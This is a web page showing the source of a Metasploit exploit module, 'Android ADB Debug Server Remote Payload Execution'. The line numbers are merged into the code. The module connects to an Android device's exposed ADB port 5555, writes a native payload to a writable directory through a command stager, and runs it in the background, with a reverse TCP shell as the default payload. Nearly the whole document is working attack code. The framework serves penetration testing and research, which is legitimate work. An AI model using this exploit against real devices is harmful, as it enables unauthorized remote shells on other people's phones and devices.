Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/android/adb/adb_server_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(update_info(info,13'Name' => 'Android ADB Debug Server Remote Payload Execution',14'Description' => %q{15Writes and spawns a native payload on an android device that is listening16for adb debug messages.17},18'Author' => ['joev'],19'License' => MSF_LICENSE,20'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },21'Platform' => 'linux',22'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],23'Targets' => [24['armle', {'Arch' => ARCH_ARMLE}],25['x86', {'Arch' => ARCH_X86}],26['x64', {'Arch' => ARCH_X64}],27['mipsle', {'Arch' => ARCH_MIPSLE}]28],29'DefaultTarget' => 0,30'DisclosureDate' => '2016-01-01'31))3233register_options([34Opt::RPORT(5555),35OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])36])37end3839def check40setup_adb_connection do41device_info = @adb_client.connect.data42print_good "Detected device:\n#{device_info}"43return Exploit::CheckCode::Vulnerable44end4546Exploit::CheckCode::Unknown47end4849def execute_command(cmd, opts)50response = @adb_client.exec_cmd(cmd)51print_good "Command executed, response:\n #{response}"52end5354def exploit55setup_adb_connection do56device_data = @adb_client.connect57print_good "Connected to device:\n#{device_data.data}"58execute_cmdstager({59flavor: :echo,60enc_format: :octal,61prefix: '\\\\0',62temp: datastore['WritableDir'],63linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,64background: true,65nodelete: true66})67end68end6970def setup_adb_connection(&blk)71begin72print_status "Connecting to device..."73connect74@adb_client = Rex::Proto::ADB::Client.new(sock)75blk.call76ensure77disconnect78end79end80end818283